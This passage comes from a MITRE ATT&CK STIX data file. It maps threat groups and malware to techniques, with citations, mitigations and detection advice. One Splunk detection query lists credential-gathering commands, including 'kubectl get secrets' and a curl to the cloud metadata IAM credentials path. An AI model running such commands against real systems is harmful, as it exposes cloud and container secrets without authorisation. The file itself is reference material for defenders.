files.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28471736-5b62-4132-b4ed-c22ae449b455","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"},{"source_name":"Symantec Tick Apr 2016","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:31.917Z","description":"(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Symantec Tick Apr 2016)(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--284843c3-18d0-4ddb-aab5-4588a6ec400e","created":"2024-07-29T22:41:30.152Z","revoked":false,"external_references":[{"source_name":"SentinelOne WinterVivern 2023","description":"Tom Hegel. (2023, March 16). Winter Vivern | Uncovering a Wave of Global Espionage. Retrieved July 29, 2024.","url":"https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-29T22:41:30.152Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) PowerShell scripts execute `whoami` to identify the executing user.(Citation: SentinelOne WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--284aadab-ec10-4869-8bdb-7258c19432c4","type":"relationship","created":"2020-03-14T23:08:20.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-14T23:08:20.407Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--284d622d-8b28-4569-97a7-936edced1b18","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T02:22:58.472Z","description":"The [Helminth](https://attack.mitre.org/software/S0170) config file is encrypted with RC4.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--284e91b2-68c0-4b14-a258-f50193065ed7","created":"2024-03-24T19:43:55.239Z","revoked":false,"external_references":[{"source_name":"Cider Security Top 10 CICD Security Risks","description":"Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved March 24, 2024.","url":"https://www.cidersecurity.io/top-10-cicd-security-risks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-24T19:43:55.239Z","description":"Where possible, consider requiring developers to pull from internal repositories containing verified and approved packages rather than from external ones.(Citation: Cider Security Top 10 CICD Security Risks)","relationship_type":"mitigates","source_ref":"course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547","target_ref":"attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--284eb222-c310-480c-aaaa-82c1d5c64e62","created":"2023-08-04T17:58:11.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T20:30:44.436Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has gained initial access through exploitation of multiple vulnerabilities in internet-facing software and appliances such as Fortinet, Ivanti (formerly Pulse Secure), NETGEAR, Citrix, and Cisco.(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--284ffb1b-ad42-468e-9897-94c25024f0d4","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"},{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"},{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}],"modified":"2020-03-16T15:53:20.587Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) achieves persistence by adding itself to the HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run Registry key.(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 2)(Citation: Bitdefender APT28 Dec 2015)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2851e8fa-0622-42db-b7b7-4e051fc5fbeb","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","source_name":"Proofpoint Leviathan Oct 2017"},{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2019-04-25T12:24:57.284Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used JavaScript to create a shortcut file in the Startup folder that points to its main backdoor.(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2853aaaa-982e-49bf-a219-b4f16805b983","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.836Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can use Regsvr32 to execute additional payloads.(Citation: Github Koadic)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2856ba71-fa3d-4aa7-99ae-3438f11b2655","created":"2024-03-05T18:23:07.377Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-05T18:28:26.769Z","description":"[WIREFIRE](https://attack.mitre.org/software/S1115) is a web shell that can download files to and execute arbitrary commands from compromised Ivanti Connect Secure VPNs.(Citation: Mandiant Cutting Edge January 2024)","relationship_type":"uses","source_ref":"malware--c93e3079-43fb-4d8d-9e99-db63d07eadc9","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2856e2ad-4fcd-483a-85bb-99fe8304ee8d","type":"relationship","created":"2021-04-23T02:01:06.668Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"}],"modified":"2021-04-26T15:59:03.327Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) has enabled the TESTSIGNING boot configuration option to facilitate loading of a driver component.(Citation: F-Secure BlackEnergy 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2858ec3b-5814-4515-9dda-f8009fbf4cd3","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache","description":"Symantec Security Response. (2012, May 31). Flamer: A Recipe for Bluetoothache. Retrieved February 25, 2017.","source_name":"Symantec Beetlejuice"}],"modified":"2020-03-11T17:41:59.989Z","description":"[Flame](https://attack.mitre.org/software/S0143) has a module named BeetleJuice that contains Bluetooth functionality that may be used in different ways, including transmitting encoded information from the infected system over the Bluetooth protocol, acting as a Bluetooth beacon, and identifying other Bluetooth devices in the vicinity.(Citation: Symantec Beetlejuice)","relationship_type":"uses","source_ref":"malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498","target_ref":"attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--28597b2d-0172-478c-a9f5-1f272ff0874c","created":"2022-03-30T14:26:51.847Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor network data for uncommon data flows., such as the usage of abnormal/unexpected protocols.","modified":"2022-04-08T12:45:08.673Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--285ab221-15cf-4215-aa68-a8e74b635633","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"}],"modified":"2020-03-17T13:54:27.147Z","description":"[Dark Caracal](https://attack.mitre.org/groups/G0070) makes their malware look like Flash Player, Office, or PDF documents in order to entice a user to click on it.(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--285baef5-e948-4e56-a078-5e7f5e7404fd","created":"2019-09-23T22:53:30.182Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:45:58.849Z","description":"[APT41](https://attack.mitre.org/groups/G0096) attempted to masquerade their files as popular anti-virus software.(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--285ff280-83a7-4c2a-810a-a41a307533c0","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:23:09.914Z","description":"Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.\n\nAnalytic 1 - Unexpected API calls or access to Docker logs indicating credential access.\n\n index=containers sourcetype IN (\"docker:events\", \"kubernetes:api\", \"kubernetes:container\") \n| search Command IN (\"docker logs\", \"kubectl get secrets\", \"kubectl describe secret\", \"kubectl exec\", \"curl http[:]//169.254.169[.]254/latest/meta-data/iam/security-credentials/\", \"aws iam list-access-keys\", \"az ad sp list\")","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28614524-0392-46fd-b9b9-d24dec6cadd2","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2863b77b-a029-4c9e-a573-e5e16d979391","created":"2023-08-01T18:38:35.678Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:35:02.558Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can retrieve a list of running processes from a compromised machine.(Citation: BitDefender BADHATCH Mar 2021) ","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28651e2d-f9bd-4f85-8956-e6afbd679c53","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2869490f-0728-4a73-a9c2-3a5de5f9f5e7","type":"relationship","created":"2021-07-07T00:45:11.458Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-10-15T23:58:08.115Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to block processes created by WMI commands from running. Note: many legitimate tools and applications utilize WMI for command execution. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--28735972-0fa8-4d8c-9afe-a3b1257ca989","created":"2024-03-28T15:55:19.677Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-20T16:09:29.913Z","description":"Monitor M365 Audit logs for the Operations Add app role assignment grant to user and/or Consent to application occurring against AzureActiveDirectory Workloads.\n\nAnalytic 1 - Unusual app role assignments or consents to applications.\n\n index=security sourcetype=\"WinEventLog:Security\" EventCode=5136 OR \n(index=azuread sourcetype=\"azure:activity\" operationName=\"Add member to role\" OR operationName=\"Update application\" OR operationName=\"Update servicePrincipal\") OR\n(index=gsuite sourcetype=\"gsuite:admin\" event_type=\"UPDATE_GROUP\" OR event_type=\"UPDATE_USER\") OR\n(index=o365 sourcetype=\"o365:management:activity\" operation IN (\"Add member to role\", \"Update user\", \"Update group\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--287368b4-d3ed-489d-9fe2-288168763ac4","type":"relationship","created":"2021-01-05T15:17:50.972Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Pay2Key November 2020","url":"https://research.checkpoint.com/2020/ransomware-alert-pay2key/","description":"Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}],"modified":"2021-04-20T20:03:26.937Z","description":"[Pay2Key](https://attack.mitre.org/software/S0556) can stop the MS SQL service at the end of the encryption process to release files locked by the service.(Citation: Check Point Pay2Key November 2020)","relationship_type":"uses","source_ref":"malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--28757531-79b3-4c51-8e6c-b9b317a06abd","type":"relationship","created":"2021-03-25T14:49:34.786Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-03-25T14:49:34.786Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to steal credentials from installed web browsers including Microsoft Internet Explorer and Google Chrome.(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--287b6305-0592-4843-a12b-57f96741a36e","type":"relationship","created":"2020-01-14T01:34:10.663Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-14T01:34:10.663Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--287bfc5a-6e17-4d3c-980b-1577338416ab","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 Domain Shadowing 2022","description":"Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.","url":"https://unit42.paloaltonetworks.com/domain-shadowing/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-07T13:07:55.349Z","description":"Monitor for logged domain name system (DNS) registry data that may hijack domains and/or subdomains that can be used during targeting. In some cases, abnormal subdomain IP addresses (such as those originating in a different country from the root domain) may indicate a malicious subdomain.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","relationship_type":"detects","source_ref":"x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--287c3024-f58d-4fab-87a7-54d4b52f5a5c","created":"2022-07-14T20:13:55.682Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Aoqin 